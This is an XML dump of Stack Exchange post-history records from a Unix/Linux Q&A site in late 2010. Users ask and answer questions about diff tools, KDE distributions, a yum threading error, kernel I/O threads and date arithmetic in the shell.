  <row Id="10009" PostHistoryTypeId="5" PostId="4573" RevisionGUID="15af16a2-11b5-478a-91c4-bc2d0ebbee25" CreationDate="2010-12-06T16:25:43.200" UserId="688" Comment="&quot;why it rocks&quot;" Text="I've hardly ever used anything other than [Meld][1], and I've recently been having issues with it. Can you recommend anything else?&#xD;&#xA;&#xD;&#xA;It would be extra nice if you give a reason for your recommendation (as a Comment).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://meld.sourceforge.net/" />
  <row Id="10010" PostHistoryTypeId="6" PostId="4573" RevisionGUID="15af16a2-11b5-478a-91c4-bc2d0ebbee25" CreationDate="2010-12-06T16:25:43.200" UserId="688" Comment="&quot;why it rocks&quot;" Text="ésoftwareörecàéguiàédiffà" />
  <row Id="10011" PostHistoryTypeId="5" PostId="4572" RevisionGUID="b68f9d85-f359-4028-95d3-c0461ead683d" CreationDate="2010-12-06T16:29:34.490" UserId="73" Comment="added 2 characters in body; edited title" Text="I'm looking for recommendations for Linux distros to try that offer good KDE experiences. I'm specifically looking for:&#xD;&#xA;&#xD;&#xA; - Speed&#xD;&#xA; - Good selection of default apps&#xD;&#xA; - Yours here :-)&#xD;&#xA;" />
  <row Id="10012" PostHistoryTypeId="4" PostId="4572" RevisionGUID="b68f9d85-f359-4028-95d3-c0461ead683d" CreationDate="2010-12-06T16:29:34.490" UserId="73" Comment="added 2 characters in body; edited title" Text="Which Linux distribution would you recommend to a KDE user?" />
  <row Id="10013" PostHistoryTypeId="2" PostId="4574" RevisionGUID="a2a8c7e6-7974-4847-972d-3b6bfbe440bb" CreationDate="2010-12-06T16:38:56.237" UserId="2567" Text="The two mainstream ones with a lot of software would be &#xD;&#xA;&#xD;&#xA;* fedora&#xD;&#xA;* kUbuntu&#xD;&#xA;" />
  <row Id="10014" PostHistoryTypeId="2" PostId="4575" RevisionGUID="e5e065e6-ec2a-44af-a47d-537b45e91c0b" CreationDate="2010-12-06T16:43:33.423" UserId="2567" Text="There are 3 gui diff tools that are usable&#xD;&#xA;&#xD;&#xA;* meld&#xD;&#xA;* kompare&#xD;&#xA;* kdiff3&#xD;&#xA;&#xD;&#xA;But they do approximately the same, so it is hard to give any general advice here.&#xD;&#xA;" />
  <row Id="10015" PostHistoryTypeId="5" PostId="4573" RevisionGUID="51576a0c-7018-4e37-aa5e-c7dd785fd707" CreationDate="2010-12-06T16:45:55.640" UserId="688" Comment="expansion" Text="I've hardly ever used anything other than [Meld][1], and I've recently been having issues with it. Can you recommend anything else?&#xD;&#xA;&#xD;&#xA;It would be extra nice if you give a reason for your recommendation (as a Comment).&#xD;&#xA;&#xD;&#xA;[__note__] May this tool provide the option to copy a portion of the diff (or the whole file) from one file to another.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://meld.sourceforge.net/" />
  <row Id="10016" PostHistoryTypeId="16" PostId="4574" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-12-06T16:48:09.663" UserId="73" />
  <row Id="10017" PostHistoryTypeId="16" PostId="4572" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-12-06T16:48:09.663" UserId="73" />
  <row Id="10018" PostHistoryTypeId="16" PostId="4575" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-12-06T16:48:13.110" UserId="73" />
  <row Id="10019" PostHistoryTypeId="16" PostId="4573" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-12-06T16:48:13.110" UserId="73" />
  <row Id="10020" PostHistoryTypeId="2" PostId="4576" RevisionGUID="7883c1f6-7351-4d24-8340-13b272d35eec" CreationDate="2010-12-06T16:57:16.983" UserId="2567" Text="This is a more general version of Stefan:s answer but I'm using awk in the middle to prepare the exact &quot;string&quot; that I would like xargs to execute. And then xargs is using bash to do the actual &quot;work&quot;.&#xD;&#xA;&#xD;&#xA;It is a little bit overkill for this example, but it is a general solution that with some modifications can solve many problems...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    cat file | awk '{print &quot;curl http://example.com/persons/&quot;$1&quot;.tar&quot;}' | xargs -0 bash -c" />
  <row Id="10021" PostHistoryTypeId="2" PostId="4577" RevisionGUID="4088f58d-71a6-4fdd-a2fc-ba1c6636abb8" CreationDate="2010-12-06T17:39:21.300" UserId="2333" Text="I'm liking OpenSUSE 11.3. It seems to have quite a good selection of software available in the repositories, and it seems plenty fast to me (but then, I'm running it on fast hardware, so YMMV)." />
  <row Id="10022" PostHistoryTypeId="6" PostId="4561" RevisionGUID="9ec3d8a6-3e60-4c0a-b1e3-4bbd00c0f3c4" CreationDate="2010-12-06T18:50:27.140" UserId="885" Comment="edited tags" Text="élinuxàéhardwareàédevicesàéhardödiskà" />
  <row Id="10023" PostHistoryTypeId="8" PostId="4572" RevisionGUID="cbd73ca2-23a8-4d05-9ef8-375231b86a31" CreationDate="2010-12-06T19:08:05.900" UserId="2897" Comment="Rollback to [3929cc9a-9aaf-41fa-b07e-a858556d436d]" Text="KDE centric or not, which Linux distro offers the best KDE experience? Good points to mention:&#xD;&#xA;&#xD;&#xA; - the environment's speed,&#xD;&#xA; - selection of default apps,&#xD;&#xA; - yours here :-)&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="10024" PostHistoryTypeId="7" PostId="4572" RevisionGUID="cbd73ca2-23a8-4d05-9ef8-375231b86a31" CreationDate="2010-12-06T19:08:05.900" UserId="2897" Comment="Rollback to [3929cc9a-9aaf-41fa-b07e-a858556d436d]" Text="Which Linux distribution offers the best KDE experience?" />
  <row Id="10025" PostHistoryTypeId="2" PostId="4578" RevisionGUID="cf2c50ca-5d87-4647-867e-069ada064095" CreationDate="2010-12-06T19:11:43.093" UserId="1594" Text="I found several posts on this, but none of them work.&#xD;&#xA;When I do &quot;yum update&quot;, I get this error:&#xD;&#xA;&#xD;&#xA;`can't start new thread` (full error on [pastebin][1])&#xD;&#xA;&#xD;&#xA;I've already tried `yum clean`, that didn't help.&#xD;&#xA;&#xD;&#xA;My OS is Centos 5.5.&#xD;&#xA;&#xD;&#xA;  [1]: http://pastebin.com/EwzERT8r" />
  <row Id="10026" PostHistoryTypeId="1" PostId="4578" RevisionGUID="cf2c50ca-5d87-4647-867e-069ada064095" CreationDate="2010-12-06T19:11:43.093" UserId="1594" Text="Yum update &quot;can't start new thread&quot;" />
  <row Id="10027" PostHistoryTypeId="3" PostId="4578" RevisionGUID="cf2c50ca-5d87-4647-867e-069ada064095" CreationDate="2010-12-06T19:11:43.093" UserId="1594" Text="écentosàéyumà" />
  <row Id="10028" PostHistoryTypeId="2" PostId="4579" RevisionGUID="515a2b13-e340-481f-88ef-785c972caf00" CreationDate="2010-12-06T19:12:31.307" UserId="885" Text="[Emacs](http://www.gnu.org/software/emacs/manual/html_mono/ediff.html) is a pretty good diff viewer (start with the commands in the `Tools / Compare` and `Tools / Merge` menus). It has all the basic features (highlight the differences between two files, jump between differing blocks) and most common intermediate features (compare portions of files, compare revisions grabbed from version control, compare directory trees, use a common ancestor as a reference point, produce a merged version). It doesn't have very fancy ignore capabilities, however.&#xD;&#xA;&#xD;&#xA;What Emacs has over most other diff viewers includes better search capabilities, syntax highlighting, Lisp extensibility. Oh, and an integrated editor.&#xD;&#xA;" />
  <row Id="10029" PostHistoryTypeId="5" PostId="4578" RevisionGUID="2a6f87d2-d7b8-4081-aed8-979df42ddfc7" CreationDate="2010-12-06T19:13:47.720" UserId="73" Comment="added 1969 characters in body; edited title" Text="I found several posts on this, but none of them work.&#xD;&#xA;&#xD;&#xA;When I do `yum update`, I get the error **`thread.error: can't start new thread`**; full stacktrace follows:&#xD;&#xA;&#xD;&#xA;    [root@ripper234 ~]# yum update&#xD;&#xA;    Loaded plugins: fastestmirror&#xD;&#xA;    Loading mirror speeds from cached hostfile&#xD;&#xA;    Traceback (most recent call last):&#xD;&#xA;      File &quot;/usr/bin/yum&quot;, line 29, in ?&#xD;&#xA;        yummain.user_main(sys.argv[1:], exit_code=True)&#xD;&#xA;      File &quot;/usr/share/yum-cli/yummain.py&quot;, line 309, in user_main&#xD;&#xA;        errcode = main(args)&#xD;&#xA;      File &quot;/usr/share/yum-cli/yummain.py&quot;, line 178, in main&#xD;&#xA;        result, resultmsgs = base.doCommands()&#xD;&#xA;      File &quot;/usr/share/yum-cli/cli.py&quot;, line 345, in doCommands&#xD;&#xA;        self._getTs(needTsRemove)&#xD;&#xA;      File &quot;/usr/lib/python2.4/site-packages/yum/depsolve.py&quot;, line 101, in _getTs&#xD;&#xA;        self._getTsInfo(remove_only)&#xD;&#xA;      File &quot;/usr/lib/python2.4/site-packages/yum/depsolve.py&quot;, line 112, in _getTsInfo&#xD;&#xA;        pkgSack = self.pkgSack&#xD;&#xA;      File &quot;/usr/lib/python2.4/site-packages/yum/__init__.py&quot;, line 661, in &lt;lambda&gt;&#xD;&#xA;        pkgSack = property(fget=lambda self: self._getSacks(),&#xD;&#xA;      File &quot;/usr/lib/python2.4/site-packages/yum/__init__.py&quot;, line 501, in _getSacks&#xD;&#xA;        self.repos.populateSack(which=repos)&#xD;&#xA;      File &quot;/usr/lib/python2.4/site-packages/yum/repos.py&quot;, line 232, in populateSack&#xD;&#xA;        self.doSetup()&#xD;&#xA;      File &quot;/usr/lib/python2.4/site-packages/yum/repos.py&quot;, line 79, in doSetup&#xD;&#xA;        self.ayum.plugins.run('postreposetup')&#xD;&#xA;      File &quot;/usr/lib/python2.4/site-packages/yum/plugins.py&quot;, line 179, in run&#xD;&#xA;        func(conduitcls(self, self.base, conf, **kwargs))&#xD;&#xA;      File &quot;/usr/lib/yum-plugins/fastestmirror.py&quot;, line 181, in postreposetup_hook&#xD;&#xA;        all_urls = FastestMirror(all_urls).get_mirrorlist()&#xD;&#xA;      File &quot;/usr/lib/yum-plugins/fastestmirror.py&quot;, line 333, in get_mirrorlist&#xD;&#xA;        self._poll_mirrors()&#xD;&#xA;      File &quot;/usr/lib/yum-plugins/fastestmirror.py&quot;, line 376, in _poll_mirrors&#xD;&#xA;        pollThread.start()&#xD;&#xA;      File &quot;/usr/lib/python2.4/threading.py&quot;, line 416, in start&#xD;&#xA;        _start_new_thread(self.__bootstrap, ())&#xD;&#xA;    thread.error: can't start new thread&#xD;&#xA;&#xD;&#xA;I've already tried `yum clean`, that didn't help.&#xD;&#xA;&#xD;&#xA;My OS is Centos 5.5.&#xD;&#xA;" />
  <row Id="10030" PostHistoryTypeId="4" PostId="4578" RevisionGUID="2a6f87d2-d7b8-4081-aed8-979df42ddfc7" CreationDate="2010-12-06T19:13:47.720" UserId="73" Comment="added 1969 characters in body; edited title" Text="Yum update error: &quot;can't start new thread&quot;" />
  <row Id="10031" PostHistoryTypeId="5" PostId="4572" RevisionGUID="cad069ba-09f5-46ff-9385-904916cc5ebc" CreationDate="2010-12-06T19:16:06.950" UserId="2897" Comment="deleted 1 characters in body" Text="KDE centric or not, which Linux distro offers the best KDE experience? Good points to mention:&#xD;&#xA;&#xD;&#xA; - the environments speed,&#xD;&#xA; - selection of default apps,&#xD;&#xA; - yours here :-)&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="10032" PostHistoryTypeId="2" PostId="4580" RevisionGUID="08c337cc-7104-4b98-b05a-8562b37ceb52" CreationDate="2010-12-06T19:18:20.093" UserId="2712" Text="I've primarily used OpenSuSE, Gentoo, and Arch, and all of them have worked quite well with KDE. However, aside from the fact that Gentoo and Arch are rather more hardcore than OpenSuSE, I believe that both of them use a vanilla version of KDE whereas OpenSuSE adds more of their own stuff, including a really nice KPart for viewing system information (which probably should be added to KDE proper) and increased integration for some non-KDE programs such as Firefox. So, whether OpenSuSE is better than the others is probably a combination of how newbie-friendly a distro you want and whether or not you want a vanilla version of KDE.&#xD;&#xA;&#xD;&#xA;The one thing that I can say beyond that is that I frequently hear people say *not* to use Kubuntu and that it's a poor KDE distro with relatively poor stability. I played around with it a little a while back but not long enough to really be able to comment on that (I really didn't like its package management and found multilib to be much more of a pain than with OpenSuSE, though others may disagree). It is about the main consistent thing that I've heard about KDE distros though: many folks say not to use Kubuntu.&#xD;&#xA;&#xD;&#xA;Every distro that I've really used though has been fine for KDE. For the most part, I would think that it's more of a general issue of how a distro works than what it does with KDE - unless you're talking about a gnome-centric distro instead of a more DE-agnostic one, in which case it probably matters more, since KDE wouldn't get as much attention and might be treated as a second-class citizen." />
  <row Id="10033" PostHistoryTypeId="2" PostId="4581" RevisionGUID="30faa5d4-08d6-4d5e-aab4-c2d2247491c7" CreationDate="2010-12-06T19:23:14.510" UserId="1571" Text="No one's suggested Kubuntu? Kubuntu is by far the best KDE distro. Gnome apps use the correct themes out of the box. I use Kubuntu and have nothing but good things to say." />
  <row Id="10034" PostHistoryTypeId="2" PostId="4582" RevisionGUID="cb531975-fceb-47a3-8757-9369c25b736a" CreationDate="2010-12-06T20:32:40.777" UserId="2661" Text="You could try to disable `fastestmirror` plugin and check if after that change `yum` will be working properly. To disable it do: edit `/etc/yum/pluginconf.d/fastestmirror.conf` and change `enabled = 1` to `0` or just remove plugin package: `yum remove yum-fastestmirror` or `yum install yum-plugin-fastestmirror`.&#xD;&#xA;" />
  <row Id="10035" PostHistoryTypeId="2" PostId="4583" RevisionGUID="e7eed6de-3315-434a-8e16-824c9320b0b4" CreationDate="2010-12-06T20:35:59.587" UserId="2372" Text="The title says it all.&#xD;&#xA;&#xD;&#xA;Using Fedora for a small Samba and development server." />
  <row Id="10036" PostHistoryTypeId="1" PostId="4583" RevisionGUID="e7eed6de-3315-434a-8e16-824c9320b0b4" CreationDate="2010-12-06T20:35:59.587" UserId="2372" Text="What is [jbd2/dm-3-8] and [kdmflush]? And why are they constantly on iotop?" />
  <row Id="10037" PostHistoryTypeId="3" PostId="4583" RevisionGUID="e7eed6de-3315-434a-8e16-824c9320b0b4" CreationDate="2010-12-06T20:35:59.587" UserId="2372" Text="élinuxàéfedoraàémonitoringà" />
  <row Id="10038" PostHistoryTypeId="5" PostId="4553" RevisionGUID="f3f3f414-32bf-460c-b122-6578c2a415dd" CreationDate="2010-12-06T20:41:49.567" UserId="1900" Comment="added 285 characters in body; added 161 characters in body" Text="Reported bugs through bugzilla, anything else I can do?&#xD;&#xA;&#xD;&#xA;I'm actually a bit disappointed as a friend of mine is a network admin and he told me they have a linux server that has not been rebooted for a few years now, so why is mine crashing so often? I'm a big fun of Debian and Fedora, but Fedora latest release keeps annoying me.&#xD;&#xA;Is the only solution to switch to something more stable, like Debian Lenny or hopefully Fedora 11 or 12? &#xD;&#xA;&#xD;&#xA;UPDATE:&#xD;&#xA;&#xD;&#xA;here is the error message:&#xD;&#xA;&#xD;&#xA;    Dec  4 15:09:33 julia kernel: [drm:i915_hangcheck_elapsed] *ERROR* Hangcheck timer elapsed... GPU hung&#xD;&#xA;    Dec  4 15:09:33 julia kernel: [drm:i915_do_wait_request] *ERROR* i915_do_wait_request returns -5 (awaiting 230713 at 230710)&#xD;&#xA;&#xD;&#xA;I'm still not convinced that the crashes are caused by faulty cdrom drive.&#xD;&#xA;Have added my vote on the launchpad bug issue hoping someone is going to fix it soon." />
  <row Id="10039" PostHistoryTypeId="5" PostId="4552" RevisionGUID="5fe0839a-1563-4b77-9005-acf30ca6407b" CreationDate="2010-12-06T21:26:58.927" UserId="73" Comment="deleted 11 characters in body; edited title" Text="I am logged into ssh to a university account from my home computer. Then I find a file that I want to copy onto my local system. So I open a new shell terminal and am about to use `scp` to copy that file onto my system. But the path to the file on the system I am `ssh`'ed into is long so I select it with the mouse and then paste it with the mouse into the other locally connected terminal.&#xD;&#xA;&#xD;&#xA;What I would like to do is something along the lines of: feed the output of `pwd` into a variable that is temporary and visible to all terminals even though I made it under the `ssh`'ed terminal, or some other way that I can't think of.&#xD;&#xA;" />
  <row Id="10040" PostHistoryTypeId="4" PostId="4552" RevisionGUID="5fe0839a-1563-4b77-9005-acf30ca6407b" CreationDate="2010-12-06T21:26:58.927" UserId="73" Comment="deleted 11 characters in body; edited title" Text="Copy text from one terminal into another" />
  <row Id="10041" PostHistoryTypeId="2" PostId="4584" RevisionGUID="3dc67187-4c1f-47be-8621-b5721801e330" CreationDate="2010-12-06T21:30:18.880" UserId="1779" Text="They're kernel threads.&#xD;&#xA;&#xD;&#xA;[`[jbd2/%s]`](http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=blob;f=fs/jbd2/journal.c;hb=HEAD) are used by JBD2 (the journal manager for ext4) to periodically flush journal commits and other changes to disk.&#xD;&#xA;&#xD;&#xA;[`[kdmflush]`](http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=blob;f=drivers/md/dm.c;hb=HEAD) is used by Device Mapper to process deferred work that it has queued up from other contexts where doing immediately so would be problematic." />
  <row Id="10042" PostHistoryTypeId="2" PostId="4585" RevisionGUID="b2ab1699-d9ca-41d5-8318-cb8377113a29" CreationDate="2010-12-06T22:03:41.533" UserId="732" Text="Ksh, Zsh and Bash all offer another, perhaps clearer syntax:&#xD;&#xA;&#xD;&#xA;var4=$(echo ztemp.xml | cut -f1 -d '.')&#xD;&#xA;&#xD;&#xA;The backticks (a.k.a. &quot;grave accent&quot;) is unreadable in some fonts.  The $(blahblah) syntax is a lot more obvious at least.&#xD;&#xA;&#xD;&#xA;Note that you can pipe values int a &quot;read&quot; command in some shells:&#xD;&#xA;&#xD;&#xA;ls -1 \*.\* | cut -f1 -d'.' | while read VAR4; do echo $VAR4; done&#xD;&#xA;" />
  <row Id="10043" PostHistoryTypeId="2" PostId="4586" RevisionGUID="a7e03fdd-042a-48f1-a78b-57366509686d" CreationDate="2010-12-06T22:05:35.720" UserId="382" Text="    var4=ztemp.xml&#xD;&#xA;    var4=${var4%.*}" />
  <row Id="10044" PostHistoryTypeId="2" PostId="4587" RevisionGUID="8beec766-ea27-42d0-8417-48af5dc9fb03" CreationDate="2010-12-06T22:07:24.053" UserId="732" Text="I have used tkdiff (http://sourceforge.net/projects/tkdiff/) for years.  It does what I want as far as displaying differences between files, and it's able to write out a &quot;merge&quot; file with any ol' selection of left and right file difference selections.&#xD;&#xA;&#xD;&#xA;Drawback: it's written in Tcl/Tk, and not all systems have that." />
  <row Id="10045" PostHistoryTypeId="2" PostId="4588" RevisionGUID="ea55228e-5330-4f08-b9cf-22b5c4b26b4d" CreationDate="2010-12-06T23:24:26.677" UserId="4" Text="On the Unix Bash commandline, I want to calculate the date from 1125 days ago using the base operating system (e.g. No Perl or Python).&#xD;&#xA;&#xD;&#xA;On systems running [GNU Date][1], I can do something like this:&#xD;&#xA;&#xD;&#xA;    ubuntu $ date --date=&quot;1125 days ago&quot;&#xD;&#xA;    Wed Nov  7 15:12:33 PST 2007&#xD;&#xA;&#xD;&#xA;FreeBSD or MacOSX systems don't ship with GNU Date, and don't support values like &quot;X days ago&quot;.&#xD;&#xA;&#xD;&#xA;    freebsd81 $ date --date=&quot;+1125 days ago&quot;&#xD;&#xA;    date: illegal option -- -&#xD;&#xA;&#xD;&#xA;I *can* calculate a date from a few days ago on a Mac or FreeBSD system, but this is limited to a few days:&#xD;&#xA;&#xD;&#xA;	# Today is really Dec 6, 2010. 4 days ago it was:&#xD;&#xA;	macosx $ TZ=GMT+96 date +%Y%m%d&#xD;&#xA;	20101202&#xD;&#xA;&#xD;&#xA;	# But that doesn't work if I want to see the date 8 days ago:&#xD;&#xA;	macosx $ TZ=GMT+192 date +%Y%m%d&#xD;&#xA;	20101206&#xD;&#xA;&#xD;&#xA;Can I calculate old dates on non-GNU systems without delving into tools like Perl or Python?&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/coreutils/manual/html_node/Examples-of-date.html&#xD;&#xA;" />
  <row Id="10046" PostHistoryTypeId="1" PostId="4588" RevisionGUID="ea55228e-5330-4f08-b9cf-22b5c4b26b4d" CreationDate="2010-12-06T23:24:26.677" UserId="4" Text="Calculate the date from 1125 days ago on non-GNU systems?" />
  <row Id="10047" PostHistoryTypeId="3" PostId="4588" RevisionGUID="ea55228e-5330-4f08-b9cf-22b5c4b26b4d" CreationDate="2010-12-06T23:24:26.677" UserId="4" Text="éfreebsdàédateàéosxàénonögnuà" />
  <row Id="10048" PostHistoryTypeId="5" PostId="4588" RevisionGUID="818cb781-3242-4789-b527-f23ef554d57a" CreationDate="2010-12-06T23:39:42.823" UserId="4" Comment="added 50 characters in body" Text="On the Unix Bash commandline, I want to calculate the date from 1125 days ago using the base operating system (e.g. No Perl or Python).&#xD;&#xA;&#xD;&#xA;On systems running [GNU Date][1], I can do something like this:&#xD;&#xA;&#xD;&#xA;    ubuntu $ date --date=&quot;1125 days ago&quot;&#xD;&#xA;    Wed Nov  7 15:12:33 PST 2007&#xD;&#xA;&#xD;&#xA;FreeBSD or MacOSX systems don't ship with GNU Date, and don't support values like &quot;X days ago&quot;.&#xD;&#xA;&#xD;&#xA;    freebsd81 $ date --date=&quot;+1125 days ago&quot;&#xD;&#xA;    date: illegal option -- -&#xD;&#xA;&#xD;&#xA;I *can* calculate a date from a few days ago on a Mac or FreeBSD system, but this is limited to a few days:&#xD;&#xA;&#xD;&#xA;	# Today is really Dec 6, 2010. 4 days ago it was:&#xD;&#xA;	macosx $ TZ=GMT+96 date +%Y%m%d&#xD;&#xA;	20101202&#xD;&#xA;&#xD;&#xA;	# But that doesn't work if I want to see the date 8 days ago:&#xD;&#xA;	macosx $ TZ=GMT+192 date +%Y%m%d&#xD;&#xA;	20101206&#xD;&#xA;&#xD;&#xA;Can I calculate old dates on non-GNU systems without delving into tools like Perl or Python? Or must I use a more powerful scripting language?&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/coreutils/manual/html_node/Examples-of-date.html&#xD;&#xA;" />
  <row Id="10049" PostHistoryTypeId="2" PostId="4589" RevisionGUID="d81a253e-f5bb-4957-aff8-bdc8f6a20c98" CreationDate="2010-12-06T23:46:08.317" UserId="298" Text="Well, you can do something sneaky like:  &#xD;&#xA;&lt;pre&gt;&#xD;&#xA;$ echo &quot;`date +%s` - (1125 * 24 * 60 *60)&quot; |bc&#xD;&#xA;1194478815&#xD;&#xA;$ date -r 1194478689&#xD;&#xA;Wed, 07 Nov 2007 18:38:09 -0500&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;Tested on OpenBSD, and seems to work.&#xD;&#xA;Basically, taking the unixtime (number of seconds since start of unix epoch) and subtracting your 1125 days (in seconds) from it, then asking date to give us a nicely formatted date with that unixtime.  " />
  <row Id="10050" PostHistoryTypeId="5" PostId="4589" RevisionGUID="c63ce4e7-6709-48a1-8378-fcddc96d5563" CreationDate="2010-12-07T00:03:33.907" UserId="298" Comment="numbered list was b0rked... try bullets" Text="Well, you can do something sneaky like:  &#xD;&#xA;&lt;pre&gt;&#xD;&#xA;$ echo &quot;`date +%s` - (1125 * 24 * 60 *60)&quot; |bc&#xD;&#xA;1194478815&#xD;&#xA;$ date -r 1194478689&#xD;&#xA;Wed, 07 Nov 2007 18:38:09 -0500&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;Tested on OpenBSD (definitely non gnu based date), and seems to work.&#xD;&#xA;&#xD;&#xA;Breaking it down in steps:&#xD;&#xA;&#xD;&#xA;* get the current unixtime (seconds since beginning of unix epoch): &#xD;&#xA;  &lt;pre&gt;&#xD;&#xA;  $ date +%s&#xD;&#xA;  1291679934&#xD;&#xA;  &lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;* get the number of seconds in 1125 days&#xD;&#xA;  &lt;pre&gt;&#xD;&#xA;  $ echo &quot;1125 * 24 * 60 *60&quot; | bc&#xD;&#xA;  97200000&#xD;&#xA;  &lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;* subtract one from the other (1291679934 - 97200000) = 1194478815&#xD;&#xA;&#xD;&#xA;* use the new unixtime (1194478815) to print a pretty date&#xD;&#xA;    &lt;pre&gt;&#xD;&#xA;    $ date -r 1194478689&#xD;&#xA;    Wed, 07 Nov 2007 18:38:09 -0500&#xD;&#xA;    &lt;/pre&gt;" />
  <row Id="10051" PostHistoryTypeId="5" PostId="4575" RevisionGUID="5f65a89f-f975-48ae-bf1c-58b42116a429" CreationDate="2010-12-07T00:17:46.647" UserId="688" Comment="add Diffuse" Text="There are a number of tools that are usable:&#xD;&#xA;&#xD;&#xA;* meld&#xD;&#xA;* kompare&#xD;&#xA;* kdiff3&#xD;&#xA;* [Diffuse][1]&#xD;&#xA;&#xD;&#xA;But they do approximately the same, so it is hard to give any general advice here.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://diffuse.sourceforge.net/manual.html" />
  <row Id="10052" PostHistoryTypeId="2" PostId="4590" RevisionGUID="ab8f09de-df05-4094-8999-a00e9e28dbc6" CreationDate="2010-12-07T00:51:36.067" UserId="250" Text="I got the solution on [Gentoo Forums][1]. It turned out to be a mis-configured kernel. Hope that helps anyone who has the same problem :)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://forums.gentoo.org/viewtopic.php?p=6483150#6507317" />
  <row Id="10053" PostHistoryTypeId="2" PostId="4591" RevisionGUID="efbf1955-4f0d-41c1-94c6-24f06330dc8a" CreationDate="2010-12-07T01:48:52.637" UserId="29" Text="I've used a lot of distributions and here's what I know.&#xD;&#xA;&#xD;&#xA;1. OpenSuse&#xD;&#xA;    - Suse was primarily KDE before it bought novell a long term&#xD;&#xA;    - used some KDE 4 code before KDE was released - kickoff and games&#xD;&#xA;    - has been known to modify kde&#xD;&#xA;    - installs and configures things for gtk for you&#xD;&#xA;    - might contribute upstream / have actual kde devs - not 100%&#xD;&#xA;    - qt driven apps&#xD;&#xA;&#xD;&#xA;2. Mandriva&#xD;&#xA;    - I've never used it (not since it was mandrake)&#xD;&#xA;    - I know they assigned 2 devs to work on k3b 2 - lots of bonus points&#xD;&#xA;&#xD;&#xA;3. Chakra&#xD;&#xA;   - A distribution based on Arch Linux which is KDE specific&#xD;&#xA;   - some custom kde/qt apps&#xD;&#xA;   - shaman - qt package manager &#xD;&#xA;&#xD;&#xA;4. Everyone else - Kubuntu, Fedora, Arch, Gentoo&#xD;&#xA;   - AFAIK vanilla KDE installs&#xD;&#xA;   - User Friendly's will do the gtk theming for you, the others you do it yourself&#xD;&#xA;   - they are unlikely to have any kde/qt (*adept excluded*) apps that aren't available everywhere&#xD;&#xA;&#xD;&#xA;To be honest I might be giving *everyone else* an unfair accounting... I haven't used *kubuntu*, or *fedora* much at all. I use *Arch Linux*  KDE myself, which follows upstream." />
  <row Id="10054" PostHistoryTypeId="5" PostId="4591" RevisionGUID="de060400-279d-4ab7-abd4-6c9a1164a054" CreationDate="2010-12-07T02:06:08.480" UserId="29" Comment="further disclaim" Text="I've used a lot of distributions and here's what I know.&#xD;&#xA;&#xD;&#xA;1. OpenSuse&#xD;&#xA;    - Suse was primarily KDE before it bought novell a long term&#xD;&#xA;    - used some KDE 4 code before KDE was released - kickoff and games&#xD;&#xA;    - has been known to modify kde&#xD;&#xA;    - installs and configures things for gtk for you&#xD;&#xA;    - might contribute upstream / have actual kde devs - not 100%&#xD;&#xA;    - qt driven apps&#xD;&#xA;&#xD;&#xA;2. Mandriva&#xD;&#xA;    - I've never used it (not since it was mandrake)&#xD;&#xA;    - I know they assigned 2 devs to work on k3b 2 - lots of bonus points&#xD;&#xA;&#xD;&#xA;3. Chakra&#xD;&#xA;   - A distribution based on Arch Linux which is KDE specific&#xD;&#xA;   - some custom kde/qt apps&#xD;&#xA;   - shaman - qt package manager &#xD;&#xA;&#xD;&#xA;4. Everyone else - Kubuntu, Fedora, Arch, Gentoo (*note: kubuntu, fedora might not be accurate*)&#xD;&#xA;   - AFAIK vanilla KDE installs&#xD;&#xA;   - User Friendly's will do the gtk theming for you, the others you do it yourself&#xD;&#xA;   - they are unlikely to have any kde/qt (*adept excluded*) apps that aren't available everywhere&#xD;&#xA;&#xD;&#xA;To be honest I might be giving *everyone else* an unfair accounting... I haven't used *kubuntu*, or *fedora* much at all. I use *Arch Linux*  KDE myself, which follows upstream." />
  <row Id="10055" PostHistoryTypeId="2" PostId="4592" RevisionGUID="f32fc9d5-9020-481e-91a8-4586ab0894cd" CreationDate="2010-12-07T05:15:26.693" UserId="1375" Text="Hello,&#xD;&#xA;I am trying out minimalist window managers such as, but not limited to, Xmonad, ScrotWM, ratpoison, etc.&#xD;&#xA;Since I occasionally need to enter Traditional Chinese characters, how do I install an input manager that lets me switch between input methods easily, such as through a hotkey combo? Any instructions would be appreciated." />
  <row Id="10056" PostHistoryTypeId="1" PostId="4592" RevisionGUID="f32fc9d5-9020-481e-91a8-4586ab0894cd" CreationDate="2010-12-07T05:15:26.693" UserId="1375" Text="Easy/simple input method package that works with minimal window manager?" />
  <row Id="10057" PostHistoryTypeId="3" PostId="4592" RevisionGUID="f32fc9d5-9020-481e-91a8-4586ab0894cd" CreationDate="2010-12-07T05:15:26.693" UserId="1375" Text="éinputà" />
  <row Id="10058" PostHistoryTypeId="2" PostId="4593" RevisionGUID="7d02d380-e581-4188-a02d-8e3e70639936" CreationDate="2010-12-07T06:28:33.860" UserId="2871" Text="Hi All,   &#xD;&#xA;I have a target in which i have the toolchain installed with the RFS image.  &#xD;&#xA;If i put the source code within the target, is it possible to compile the source code from the target?   &#xD;&#xA;&#xD;&#xA;If yes, could you explain how or what different techniques are available for it.  &#xD;&#xA;&#xD;&#xA;Thanks,  &#xD;&#xA;Sen" />
  <row Id="10059" PostHistoryTypeId="1" PostId="4593" RevisionGUID="7d02d380-e581-4188-a02d-8e3e70639936" CreationDate="2010-12-07T06:28:33.860" UserId="2871" Text="Is it possible to do a make from target?" />
